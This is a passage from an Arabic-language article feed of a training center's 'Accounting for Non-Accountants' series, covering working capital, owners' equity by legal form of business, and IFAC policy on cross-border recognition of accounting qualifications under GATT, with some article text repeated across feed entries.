    لا يُعدّ رأس المال العامل أحد المجموعات التي تظهر، عادة، في قائمة المركز المالي، وإنما تُحسب قيمة رأس المال العامل، بطرح الخصوم المتداولة من الأصول المتداولة، باستخدام المعادلة التالية:

رأس المال العامل = الأصول المتداولة – الخصوم المتداولة.

ثالثاً: حقوق الملكية :wner’s Equity

    هي باقي قيمة الأصول، بعد استبعاد قيمة الالتزامات. لذا، فإن قيمة حقوق الملكية تتوقف على تقييم الأصول والالتزامات. فعندما يستثمر أصحاب الملكية أموالاً في مشروع، فإن تقييم الأصول هو الذي يحدد المبلغ المضاف إلى حقوق الملكية. وحينما يتم تلخيص نتائج العمليات، فإن الزيادة في قيمة الأصول، هي التي تحدد مبلغ صافي الدخل المضاف إلى حقوق الملاك.

    ويختلف تسجيل بيانات حقوق الملكية في الميزانية، طبقاً للشكل القانوني للمنشأة، وما إذا كانت منشأة فردية، أو شركة أشخاص، أو شركة مساهمة، كالتالي:

  1. في المنشأة الفرديةSole Proprietorship، المملوكة لشخص واحد، يُسَجّل رأس مال صاحب المنشأة تحت اسم حقوق الملكيةowner’s Equity.
  2. وفي شركات الأشخاصPartnerships، المملوكة لشخصين فأكثر، تُسَجّل حقوق الملكية، كمبلغ لكل مالك، بصفة مستقلة تحت اسم حقوق ملكية الشركاءPartners’ Equity.
  3. أمّا في شركات المساهمةCorporations، فيستخدم اصطلاح “حقوق حملة الأسهم”Stockholders’ Equity، بدلاً من مصطلح حقوق الملكيةOwner’s Equity. ومن غير المعتاد أن يظهر في الميزانية حق الملكية لكل مساهم، على حدة، خاصة في حالة شركات المساهمة الكبيرة، التي تضم عدة ملايين من حملة الأسهم. وينقسم، غالباً، الجزء الخاص بحقوق ملكية حملة الأسهم، في الميزانية، إلى فرعين:

أ. رأس المال المستثمر:Invested Capital Stock

وهو يمثل مجموع قيمة الأسهم، التي استثمرها حملة الأسهم في الشركة. وينبغي أن يُفرق، بالنسبة إلى رأس المال المستثمر، بين عنصرين:

(1) القيمة الاسمية لرأس المال

ينبغي أن تفصح الميزانية، توضيحاً لهذا العنصر، عن عدد الأسهم وقيمة السهم الاسمية، وعدد الأسهم المصدرة، والأسهم المصرح بها، وذلك لكل نوع من الأسهم. كما ينبغي توضيح كافة المزايا المتعلقة ببعض الأسهم، سواء ما يتعلق بالتصفية، أو بالأرباح الموزعة.

(2) القيمة المدفوعة فوق القيمة الاسمية

ويشتمل هذا العنصر، على المبالغ المدفوعة فوق القيمة الاسمية للأسهم، ويطلق عليها، أحياناً، فائض رأس المالCapital surplus، أو الفائض المدفوعPaid-in surplus. ولكن بعض المحاسبين يفضلون استخـدام عبارة “رأس المـال فـوق القيمـة الاسمية”Capital in excess par Value. وقد يكون هذا العنصر موجباً أو سالباً.

ب. الزيادة في حقوق الملكية، الناتجة عن الأرباح المحجوزةRetained Earning

قد تكون هذه الزيادة، متمثلة في رصيد الأرباح المرحلة من السنوات السابقة، وقد تكون تلك الأرباح مخصصة لأغراض معينة بقرار من إدارة المنشأة، أو بمقتضى القانون العام.

***

انتهت بحمد الله المقالة الخامسة لمسار كيم التعليمي للمحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-5/feed/ 0
سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الرابعة https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-4/ https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-4/#respond Sat, 15 Apr 2023 13:28:56 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10493 سلسلة مقالات – المحاسبة لغير المحاسبين بقلم أ. د/ مدحت كمال المقالة الرابعة سياسة الاتحاد من الاعتراف بالمؤهلات المحاسبية المهنية عبر الحدود إن مهمة الاتحاد الدولي للمحاسبين هي تطوير وتحسين مهنة المحاسبة في العالم مقترنة بمعايير متجانسة قادرة على توفير خدمات متسمة بالجودة العالية خدمة للمصلحة العامة. ومن الملازم لبيان المهمة هذا وجود فهم بان […]

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
سلسلة مقالات – المحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

المقالة الرابعة

سياسة الاتحاد من الاعتراف بالمؤهلات المحاسبية المهنية عبر الحدود

  • إن مهمة الاتحاد الدولي للمحاسبين هي تطوير وتحسين مهنة المحاسبة في العالم مقترنة بمعايير متجانسة قادرة على توفير خدمات متسمة بالجودة العالية خدمة للمصلحة العامة. ومن الملازم لبيان المهمة هذا وجود فهم بان الخدمات المقترنة بالجودة العالية دائماً يفرض بأن تكون المعايير المهنية التي تسير هذه الخدمات ذات جودة عالية أيضاً، وعندئذ تسهل المعايير العالية ممارسة عالمية في مهنة المحاسبة.
  • لقد مارس المحاسبون تقليدياً عملهم على المستوى العالمي، سواء كانوا أفراداً أو مؤسسات. وكان الدافع وراء هذه الحركة عولمة التجارة ( السلع والخدمات) التي أخذت في التسارع في السنوات الأخيرة.  فعندما تعددت جنسيات المؤسسات (المؤسسات عبر الحدود)، بدأت تلك المؤسسات تطالب بأن يكون مستشاروها الماليون متعددي الجنسيات أيضاً.  ونتيجة لذلك نظم المحاسبون المهنيون أنفسهم في منظمات كونية لتقديم مدى واسعاً من الخدمات في العالم أجمع.

لجان المجلس

  • يتم تنفيذ برنامج عمل المجلس بصورة رئيسية بواسطة مجموعات عمل أصغر أو بواسطة اللجان الفنية القائمة التالية:
    • لجنة التعليم.
    • لجنة السلوك.
    • لجنة المحاسبة المالية والإدارية.
    • لجنة تقنية المعلومات

الاعتراف بمؤهلات المحاسبين الأجانب

نالت المطالبة بالاعتراف بمؤهلات المحاسبين الأجانب دفعاً خاصاً بنجاح جولة أوروغواي، الاتفاقية العامة للتعرفة والتجارة (الجات)، حيث تعالج الجات العقبات التنظيمية التي تواجه التجارة العالمية والاستثمارات الأجنبية في الصناعات الخدمية ومن بينها خدمات المحاسبة وغيرها من المهن عبر الحدود.  وتضع الجات جملة من القواعد لضبط التدخل الحكومي في السوق وذلك للتكفل بأن يتمتع مقدمو الخدمات ذات الطابع الدولي، سواء كانوا أفراد أو مؤسسات، نفس الامتيازات التي يتمتع بها أقرانهم أو منافسوهم.

موقف المعاهد والمؤسسات والسلطات التنظيمية الوطنية

وبالرغم من هذه التطورات بقيت المعاهد والمؤسسات والسلطات التنظيمية الوطنية مترددة في قبول مؤهلات المحاسبين الأجانب المهنية في الخدمات الواقعة تحت تلك النظم، ووضعت شروط الإقامة والجنسية ومتطلبات تعليمية وامتحانات خاصة، وهي شروط من الصعب تلبيتها في أغلب الأحيان.  وعلاوة على ذلك فإن بعض هذه الشروط لا تمت الى المؤهلات المهنية بصلة.  وبحكم المدى الدولي لمهنة المحاسبة يسعى المحاسبون المؤهلون، أفراداً ومؤسسات، بشكل حثيث الى الاعتراف بهم في الأقطار الأجنبية، وغالباً ما يرون مثل هذه الحواجز لا مبرر لها.

 

الاتحاد الدولي للمحاسبة وعولمة المهنة

  • ويقر مجلس الاتحاد الدولي للمحاسبين أن وجود سوق دولية أمام خدمات المحاسبة وبفرص متساوية أمام كافة المهنيين المؤهلين، يتمشى ومهمته، ويشجع المنظمات المهنية المحاسبية والسلطات الوطنية على الاعتراف بمؤهلات المحاسبين والأجانب. إلا أن الأكثر أهمية هنا هو المصلحة العامة حيث يؤمن الاتحاد الدولي للمحاسبين أنه يجب ألا يغيب عن بال أي جهود متبادلة أن هناك حاجة قصوى لمراعاة واحترام المعايير بكل أمانة.  وفي هذا المجال هناك معايير دولية يمكن الاقتداء بها، ومن بينها المعايير الصادرة عن الاتحاد الدولي للمحاسبين والمعايير الصادرة عن اللجنة الدولية لمعايير المحاسبة التي يمكن أن تكون ذات فائدة.
  • وعلى ضوء ما ذكر أعلاه، أصدر الاتحاد الدولي للمحاسبين بيان السياسة هذا لكي تستعمله الهيئات العضو فيه وغيرها من الأطراف التي قد تستفيد منه. وستساعد أحكام هذا البيان في تنفيذ أحكام الجات وتساعد أيضاً في التكفل بمراعاة معايير المؤهلات المهنية.

الاعتراف بمؤهلات المحاسبة عبر الحدود

  • تقليدياً كان الاعتراف المتبادل بمؤهلات المحاسبين المهنيين بين مجال وآخر يتم بواسطة المنظمات المهنية ذات العلاقة الوطيدة فيما بينها، والتي لها نفس التقاليد والأهداف والغايات. إلا أن هذا الاعتراف كان يتم أحياناً بواسطة السلطات التي تصدر التراخيص متى كانت هذه السلطات هي التي تسمح بالمراجعة/ التصديق وغيرها من الأعمال المخصصة بدلاً من الهيئة المهنية.
  • وبصورة عامة فإن الاعتراف مشترط بوجود شخص يتمتع ببعض المتطلبات في التعليم والخبرة أو الامتحانات أو الإقامة، لمعرفة الفوارق في التشريعات المعنية. إلا أن هذه الممارسات لم تكن منتشرة بسبب العوامل الاقتصادية والاجتماعية والسياسة المتضاربة أحياناً  وقد نجحت المتطلبات المختلفة للاعتراف بالمحاسب مثل الاختلاف في النظم التعليمية، والفوارق الموجودة في معايير المحاسبة والمراجعة، والقوانين واللوائح ذات العلاقة، وأيضاً الفوارق في كيفية تنظيم المهنة في مختلف البلدان في عرقلة التنقل والحركة.  أضف إلى ذلك متطلبات الجنسية والإقامة التي تأتي بحواجز إضافية.

مساعي (الجات) في عولمة المهنة

  • تعالج الجات العقبات التنظيمية التي أمام التجارة الدولية والاستثمار الأجنبي في الصناعات الخدمية، ومن بينها ممارسات المحاسبة وغيرها من المهن عبر الحدود، وذلك بوضع قواعد ترمي الى:

– التكفل بأن يتمتع مقدمو الخدمات ذات الطابع الدولي من أفراد ومؤسسات بنفس المزايا التي يتمتع بها أقرانهم أو منافسوهم المحليون بحكم التعليمات الحكومية.

– إزالة العقبات العنصرية في الدخول الى السوق والممارسة من أشخاص من أقطار أخرى، وذلك بالتركيز على القضايا التي تتعلق فقط بالمؤهلات المحاسبية

– توفير اتفاقية لجميع مقدمي الخدمات فيما يتعلق بالقواعد التي تحكم الاعتراف بالمؤهلات.

 

المساعي الأخرى للجات

  • وفي جوهرها فإن الجات تريد أن تكفل بأن يتمتع الأفراد من بلد ما الراغبون في تقديم خدمات ببلاد أخرى بنفس المزايا التي يتمتع بها أقرانهم في تلك البلاد، فمتطلبات الاعتراف لا يجب أن تشكل عوائقاً أمام التجارة في الخدمات، ومن المؤمل أن توضع القواعد لكل قطاع على أساس أن تكون متطلبات الترخيص مبنية على أساس الموضوعية والشفافية وألا تشكل عبأً أثقل من اللازم، وذلك لضمان جودة الخدمات.
  • وتطالب الجات أيضاً بأن يكون لدى الأقطار إجراءات كافية نافذة للتأكد من مؤهلات مهنيي الأقطار الأخرى الذين يطالبون بالحق في عرض خدماتهم فيها، وهذا سيكون له أثار على الجانبين من منظمات المحاسبة المهنية وسلطات الترخيص والتنظيم.

مبادرات الاعتراف الثنائي

بالرغم من أن الجات متعددة الجنسية في مداها، إلا أنها تترك مجالاً للتنفيذ الثنائي.  ويعتقد الاتحاد الدولي للمحاسبين بأن أكثر الطرق فاعلية هي مبادرات الاعتراف الثنائي.  فالاختلاف الموجود في مستويات التعليم والامتحانات ومتطلبات الخبرة والقضايا المهنية والنفوذ التنظيمي وغير ذلك من الأمور الذي تجعل من الصعب جداً تطبيق الاعتراف على أسس متعددة الجوانب، بينما الاعترافات الثنائية تمكن أي قطرين من التركيز على القضايا الرئيسية ذات العلاقة بالبيئة الموجودة فيهما. وما أن تأخذ الاعترافات الثنائية طريقها حتى تتبعها اتفاقيات أخرى مثلها مما يؤدي فيما بعد آلياً الى توسيع الاعتراف المتبادل الى مدى أكبر.

مبادئ الاعتراف بالمؤهلات المهنية

  • تطالب الجات بألا يتجاوز معيار الاعترافات ما هو لازم للتكفل بجودة الخدمة. ومن المعروف أن لكل بلاد طرقها لمقارنة المؤهلات المهنية، ويجب تطبيقها بشكل عادل ومتسق على كافة الطالبين.  ويوصي الاتحاد الدولي للمحاسبين أن تكون طريقة التقييم مبنية على عناصر المؤهل المهني  وهي من ضمن الثلاثة مناطق الآتية:
  • التعليم: معايير الدخول/ إجمالي المعرفة.
  • الامتحانات: اختبارات الكفاءة المهنية.
  • الخبرة : التي لها علاقة بأعمال الممارسة.

      ويقترح تطبيق المبادئ التالية عند تطبيق عملية التقييم.  وهي مبادئ موازنة لإرشادات التعليم العالمي (9)، وقد وضعت هنا لأنها وجدت قبولاً واسعاً في المهنة لتلبية متطلبات المحافظة على معاييرها العالية وعلى المصلحة العامة.  وعلاوة على ذلك ففي إمكانها مساعدة البلدان المتفاوضة للتوصل إلى الاعتراف المتبادل، لاتخاذ قرارات مبنية على دراية بدرجة تعادل متطلبات التعليم الأساسية.  وهذا إجراء جوهري لأنه سيكون في إمكان الطرفين المتفاوضين أن يستمرا في التفاوض بدون تعثر متى كان هناك تعادلاً كافياً في متطلباتهما التعليمية الأساسية.

 

 

 

متطلبات الاعتراف المتبادل في ظل العولمة

أولا: التعليم

تشمل المعرفة النظرية، التي يجب أن تكون في صلب معارف الأشخاص الباحثين على الاعتراف، المواضيع التالية على الأقل:

  • التحليل والتقييم الناقد للبيانات المالية.
  • المراجعة.
  • الحسابات المجمعة.
  • محاسبة التكاليف والمحاسبة الإدارية.
  • المحاسبة العامة.
  • أنظمة الرقابة الداخلية.
  • المتطلبات القانونية والمهنية بممارسة المهام المخصصة التي يعنيها الأمر.
  • المعايير ذات العلاقة بالبيانات المالية.

وعلاوة على ما تقدم يجب أن يغطي صلب المعارف المجالات الآتية كحد أدنى في علاقاتها بالمهام المخصصة:

  • المبادئ الأساسية للإدارة المالية للمشاريع.
  • اقتصاد العمل، والاقتصاد العام، والاقتصاد المالي.
  • القانون المدني والقانون التجاري.
  • تقنية المعلومات والمنظومات.
  • قانون الإعسار والإجراءات المثيلة.
  • الرياضيات والإحصاء.
  • تقديم الخدمات المالية والمشورة … الخ
  • التصرف والسلوك المهني.
  • الضمان الاجتماعي وقانون الاستخدام.
  • قانون الضرائب.

ويجب على الطالبين أن يكونوا قد غطوا هذه المواضيع بشمولية وعمق كافيين لتمكينهم من القيام بالوظيفة المعنية بالمستوى المطلوب.  وفي سبيل التكفل بهذا يجب القيام بفحص البرامج التعليمية ذات العلاقة ومحتوياتها.

ثانيا: الامتحانات

  • يجب على المرشحين للاعتراف بالمؤهلات المهنية أن يثبتوا أنهم اجتازوا الامتحان بكفاءة مهنية، ويجب أن لا يقيس هذا الامتحان مستوى المعرفة النظرية اللازمة فقط، بل أيضاً القدرة على استعمال تلك المعرفة بجدارة في الميدان العملي.  ولذلك فإن تقييم الامتحانات المهنية يصبح عنصراً رئيسياً في عملية الاعتراف.
  • ويجب ألا تشعر الهيئات العضو بالرضا لمجرد أن التقييم الذي طبق على الطالبين يختبر بحق معارفهم وقدرتهم على استغلالها، بل يجب التأكد من أن سياسات وإجراءات بنية تلك الأسئلة، وسريتها، وطريقة إعطاء الدرجات كافية لضمان سلامة عملية التقييم. ويجب أيضاً التوصل إلى اتفاقيات على ضرورة إجراء مراجعات دورية لعملية التعليم والتقييم للمؤهلات التي يعترف بها، للتأكد من أن شروط الاعتراف مطبقة باستمرار.
  • وأيضاً يختلف محتوى ودقة ومدى وطول الامتحانات المهنية التي تتناولها الهيئات العضو أو غيرها من السلطات التي تجري الامتحانات. فبعضها يوضع على أساس دراسة حالة والبعض الآخر على أساس استعمال الاختبار الموضوعي إلى مدى واسع.  وبعضها حسابي جداً، بينما البعض الآخر متنوع.  لكن الجوهر هو التكفل بأن يتم تقييم الطالبين بشكل كاف في المجالات ذات العلاقة والى الحد اللازم لتمكينهم من العمل بشكل كفؤ في المهام المخصصة.

 

ثالثا: الخبرة

  • من الجوهري لأي مهني بألا يكون لديه فقط المعرفة النظرية، بل أيضا المقدرة على استغلال تلك المعرفة بكفاءة في ميدان العمل.
  • ومن المقترح بأن يكون الشخص، قبل الاعتراف به لتأدية مهمة مخصصة، قد أكمل سنتين على الأقل في خبرة عملية معتمدة تحت إشراف مناسب وفي مجال يتعلق بالمهنة وفي بيئة مهنية ملائمة.
  • وعلى الهيئات الأعضاء أو السلطات التي تتولى الاعتراف بالمؤهلات الأخرى أن تنظر في متطلبات الخبرة المعنية وأن تبت في كيفية معالجة ما قد يظهر من خلافات، و هذه الخلافات تتعلق عادة بـ:
  • طبيعة ومدى الخبرة المطلوبة (مثلاً: في بعض الأقطار لا تقبل خبرة المحاسبة العامة الخارجية في أغراض الاعتراف للممارسة).
  • طول مدة الخبرة المتحصل عليها، و
  • الإجراءات اللازمة للمصادقة على الخبرة المتحصل عليها (مثلاً: بعض الأقطار تطالب بشهادة أرباب العمل، وبعض الأقطار الأخرى تعتمد على التقارير الدورية من أولئك الذين ينالون الخبرة).
  • وسيحتاج أي تقييم إلى أن يعطي الاعتبار إلى مدى الخبرة ذات العلاقة بالمهمة المخصصة التي نالها الطالب. وقد يؤدي التحليل إلى أن يطلب من الطالب، قبل الاعتراف به في ميدان المنظمة المستضيفة، مزيداً من الخبرة.
  • وقد يعمل البلد المستضيف على فرص مدة خبرة عملية فيه نفسه وذلك للتضلع في قوانينه وممارساته ولوائحه.

العضوية في المنظمات المهنية

أشارت الجات بالاعتراف المتبادل في المؤهلات المهنية، ولكنها لم تشر إلى المعاملة بالمثل في عضوية المنظمات المهنية، ويشكل هذا أهمية خاصة في الأقطار حيث الترخيص/ الممارسة منفصلة عن المنظمة المهنية للمحاسبة.  ويعتقد الاتحاد الدولي للمحاسبين أن روح الاعتراف المتبادل تمتد أيضاً إلى العضوية.  وانه يشجع كافة هيئات المحاسبة المهنية على أن تضع تصنيفات للعضوية، أو تضع طريقة أخرى، يمكن بها للمهنيين الأجانب أن يصبحوا أجزاء من منظمة المحاسبة.  وستساعد العضوية المهنيين الأجانب المعترف بهم في الحفاظ على مقدرتهم وتحسينها في ممارسات البلد المضيف وذلك بالإطلاع على المطبوعات الفنية والاتصال بالمحاسبين المهنيين المحليين والتعرف على ممارسات السلوك المهني وغير ذلك من الأمور.  أن تحسين المقدرة الفنية يفيد بشكل مباشرة المصلحة العامة.

عملية الاعتراف

عند محاولة وضع إجراءات للاعتراف بالمؤهلات الأجنبية يجب اتخاذ الحيطة لمعالجة فوارق الهياكل التنظيمية للمهنة.  ففي البلاد التي فيها إجراءات الاعتراف/ الترخيص غير مركزية، قد تحتاج المنظمة الوطنية إلى التفاوض نيابة عن أعضائها على مستوى المقاطعات أو الولايات مع سلطات الترخيص، هذه السلطات التي تكون هي نفسها ذات متطلبات متفاوتة.  وفي بعض البلدان يتطلب الاعتراف للممارسة الحصول على عضوية إحدى الهيئات المحاسبية المعترف بها محلياً، بينما يتم ذلك الاعتراف في بلدان أخرى إما بواسطة الارتباط بهيئة أو بسلطة الترخيص الحكومية.

معايير الاعتراف المتبادل

وتطالب الجات أن يضع كل بلد إجراءات لتوفير الاعتراف بالمؤهلات الأجنبية.  هذا علاوة على أنه يجب أن تكون تلك الإجراءات شفافة وعادلة أمام جميع الأفراد الراغبين في هذا التأهيل.  وقد تكون هذه الإجراءات متوفرة الآن في بعض البلدان والهيئات العضو لكنها غير متوفرة في بلدان أخرى.  وعلى ضوء مناخ الحركية المتزايدة في العولمة، على البلدان الأولى أن تعيد النظر في منظوماتها وأن تعد هيكليات أكثر رسمية، وعلى الأخيرة أن تضع التسهيلات المناسبة وبدون تأخير. ويجب معالجة الأمور التالية:

  • إنشاء اتصالات وطيدة مع المنظمات المهنية في البلدان الأخرى لتقييم مختلف المعايير.
  • وضع طريقة لتقييم نظام التعليم ومناهج الدراسة ومنح الشهادات في بلدان أجنبية ومقارنتها بالمتطلبات المحلية، وهذا مهم بشكل خاص في الحالات التي يكون فيها التعليم ما قبل التأهيل لا يعتمد على النظام الجامعي.
  • تقييم أنظمة الامتحانات في البلدان الأجنبية من منظور محتوى الامتحان وطريقته.
  • تشكيل مجلس هيئة فحص، أو أي هيكلية مشابهة، لتحليل نتائج الخطوات المذكورة أعلاه ولنشر وتسيير البرامج لتسهيل الاعتراف بالمؤهلات الأجنبية، ويمكن لهذه الهيئة أن تستعمل نقاط مرجع دولي (مثل الاتحاد الدولي للمحاسبين (9)، للتوصية بالامتحانات خاصة وبرامج أخرى تمكن الطالبين من إظهار مقدرتهم في المتطلبات المحلية الصرفة.

***

انتهت بحمد الله المقالة الرابعة لمسار كيم التعليمي للمحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-4/feed/ 0
سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الثالثة https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-3/ https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-3/#respond Sat, 15 Apr 2023 13:27:16 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10491 سلسلة مقالات – المحاسبة لغير المحاسبين بقلم أ. د/ مدحت كمال المقالة الثالثة سياسة الاتحاد من الاعتراف بالمؤهلات المحاسبية المهنية عبر الحدود إن مهمة الاتحاد الدولي للمحاسبين هي تطوير وتحسين مهنة المحاسبة في العالم مقترنة بمعايير متجانسة قادرة على توفير خدمات متسمة بالجودة العالية خدمة للمصلحة العامة. ومن الملازم لبيان المهمة هذا وجود فهم بان […]

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
سلسلة مقالات – المحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

المقالة الثالثة

سياسة الاتحاد من الاعتراف بالمؤهلات المحاسبية المهنية عبر الحدود

  • إن مهمة الاتحاد الدولي للمحاسبين هي تطوير وتحسين مهنة المحاسبة في العالم مقترنة بمعايير متجانسة قادرة على توفير خدمات متسمة بالجودة العالية خدمة للمصلحة العامة. ومن الملازم لبيان المهمة هذا وجود فهم بان الخدمات المقترنة بالجودة العالية دائماً يفرض بأن تكون المعايير المهنية التي تسير هذه الخدمات ذات جودة عالية أيضاً، وعندئذ تسهل المعايير العالية ممارسة عالمية في مهنة المحاسبة.
  • لقد مارس المحاسبون تقليدياً عملهم على المستوى العالمي، سواء كانوا أفراداً أو مؤسسات. وكان الدافع وراء هذه الحركة عولمة التجارة ( السلع والخدمات) التي أخذت في التسارع في السنوات الأخيرة.  فعندما تعددت جنسيات المؤسسات (المؤسسات عبر الحدود)، بدأت تلك المؤسسات تطالب بأن يكون مستشاروها الماليون متعددي الجنسيات أيضاً.  ونتيجة لذلك نظم المحاسبون المهنيون أنفسهم في منظمات كونية لتقديم مدى واسعاً من الخدمات في العالم أجمع.

لجان المجلس

  • يتم تنفيذ برنامج عمل المجلس بصورة رئيسية بواسطة مجموعات عمل أصغر أو بواسطة اللجان الفنية القائمة التالية:
    • لجنة التعليم.
    • لجنة السلوك.
    • لجنة المحاسبة المالية والإدارية.
    • لجنة تقنية المعلومات

الاعتراف بمؤهلات المحاسبين الأجانب

نالت المطالبة بالاعتراف بمؤهلات المحاسبين الأجانب دفعاً خاصاً بنجاح جولة أوروغواي، الاتفاقية العامة للتعرفة والتجارة (الجات)، حيث تعالج الجات العقبات التنظيمية التي تواجه التجارة العالمية والاستثمارات الأجنبية في الصناعات الخدمية ومن بينها خدمات المحاسبة وغيرها من المهن عبر الحدود.  وتضع الجات جملة من القواعد لضبط التدخل الحكومي في السوق وذلك للتكفل بأن يتمتع مقدمو الخدمات ذات الطابع الدولي، سواء كانوا أفراد أو مؤسسات، نفس الامتيازات التي يتمتع بها أقرانهم أو منافسوهم.

موقف المعاهد والمؤسسات والسلطات التنظيمية الوطنية

وبالرغم من هذه التطورات بقيت المعاهد والمؤسسات والسلطات التنظيمية الوطنية مترددة في قبول مؤهلات المحاسبين الأجانب المهنية في الخدمات الواقعة تحت تلك النظم، ووضعت شروط الإقامة والجنسية ومتطلبات تعليمية وامتحانات خاصة، وهي شروط من الصعب تلبيتها في أغلب الأحيان.  وعلاوة على ذلك فإن بعض هذه الشروط لا تمت الى المؤهلات المهنية بصلة.  وبحكم المدى الدولي لمهنة المحاسبة يسعى المحاسبون المؤهلون، أفراداً ومؤسسات، بشكل حثيث الى الاعتراف بهم في الأقطار الأجنبية، وغالباً ما يرون مثل هذه الحواجز لا مبرر لها.

 

الاتحاد الدولي للمحاسبة وعولمة المهنة

  • ويقر مجلس الاتحاد الدولي للمحاسبين أن وجود سوق دولية أمام خدمات المحاسبة وبفرص متساوية أمام كافة المهنيين المؤهلين، يتمشى ومهمته، ويشجع المنظمات المهنية المحاسبية والسلطات الوطنية على الاعتراف بمؤهلات المحاسبين والأجانب. إلا أن الأكثر أهمية هنا هو المصلحة العامة حيث يؤمن الاتحاد الدولي للمحاسبين أنه يجب ألا يغيب عن بال أي جهود متبادلة أن هناك حاجة قصوى لمراعاة واحترام المعايير بكل أمانة.  وفي هذا المجال هناك معايير دولية يمكن الاقتداء بها، ومن بينها المعايير الصادرة عن الاتحاد الدولي للمحاسبين والمعايير الصادرة عن اللجنة الدولية لمعايير المحاسبة التي يمكن أن تكون ذات فائدة.
  • وعلى ضوء ما ذكر أعلاه، أصدر الاتحاد الدولي للمحاسبين بيان السياسة هذا لكي تستعمله الهيئات العضو فيه وغيرها من الأطراف التي قد تستفيد منه. وستساعد أحكام هذا البيان في تنفيذ أحكام الجات وتساعد أيضاً في التكفل بمراعاة معايير المؤهلات المهنية.

الاعتراف بمؤهلات المحاسبة عبر الحدود

  • تقليدياً كان الاعتراف المتبادل بمؤهلات المحاسبين المهنيين بين مجال وآخر يتم بواسطة المنظمات المهنية ذات العلاقة الوطيدة فيما بينها، والتي لها نفس التقاليد والأهداف والغايات. إلا أن هذا الاعتراف كان يتم أحياناً بواسطة السلطات التي تصدر التراخيص متى كانت هذه السلطات هي التي تسمح بالمراجعة/ التصديق وغيرها من الأعمال المخصصة بدلاً من الهيئة المهنية.
  • وبصورة عامة فإن الاعتراف مشترط بوجود شخص يتمتع ببعض المتطلبات في التعليم والخبرة أو الامتحانات أو الإقامة، لمعرفة الفوارق في التشريعات المعنية. إلا أن هذه الممارسات لم تكن منتشرة بسبب العوامل الاقتصادية والاجتماعية والسياسة المتضاربة أحياناً  وقد نجحت المتطلبات المختلفة للاعتراف بالمحاسب مثل الاختلاف في النظم التعليمية، والفوارق الموجودة في معايير المحاسبة والمراجعة، والقوانين واللوائح ذات العلاقة، وأيضاً الفوارق في كيفية تنظيم المهنة في مختلف البلدان في عرقلة التنقل والحركة.  أضف إلى ذلك متطلبات الجنسية والإقامة التي تأتي بحواجز إضافية.

مساعي (الجات) في عولمة المهنة

  • تعالج الجات العقبات التنظيمية التي أمام التجارة الدولية والاستثمار الأجنبي في الصناعات الخدمية، ومن بينها ممارسات المحاسبة وغيرها من المهن عبر الحدود، وذلك بوضع قواعد ترمي الى:

– التكفل بأن يتمتع مقدمو الخدمات ذات الطابع الدولي من أفراد ومؤسسات بنفس المزايا التي يتمتع بها أقرانهم أو منافسوهم المحليون بحكم التعليمات الحكومية.

– إزالة العقبات العنصرية في الدخول الى السوق والممارسة من أشخاص من أقطار أخرى، وذلك بالتركيز على القضايا التي تتعلق فقط بالمؤهلات المحاسبية

– توفير اتفاقية لجميع مقدمي الخدمات فيما يتعلق بالقواعد التي تحكم الاعتراف بالمؤهلات.

 

المساعي الأخرى للجات

  • وفي جوهرها فإن الجات تريد أن تكفل بأن يتمتع الأفراد من بلد ما الراغبون في تقديم خدمات ببلاد أخرى بنفس المزايا التي يتمتع بها أقرانهم في تلك البلاد، فمتطلبات الاعتراف لا يجب أن تشكل عوائقاً أمام التجارة في الخدمات، ومن المؤمل أن توضع القواعد لكل قطاع على أساس أن تكون متطلبات الترخيص مبنية على أساس الموضوعية والشفافية وألا تشكل عبأً أثقل من اللازم، وذلك لضمان جودة الخدمات.
  • وتطالب الجات أيضاً بأن يكون لدى الأقطار إجراءات كافية نافذة للتأكد من مؤهلات مهنيي الأقطار الأخرى الذين يطالبون بالحق في عرض خدماتهم فيها، وهذا سيكون له أثار على الجانبين من منظمات المحاسبة المهنية وسلطات الترخيص والتنظيم.

مبادرات الاعتراف الثنائي

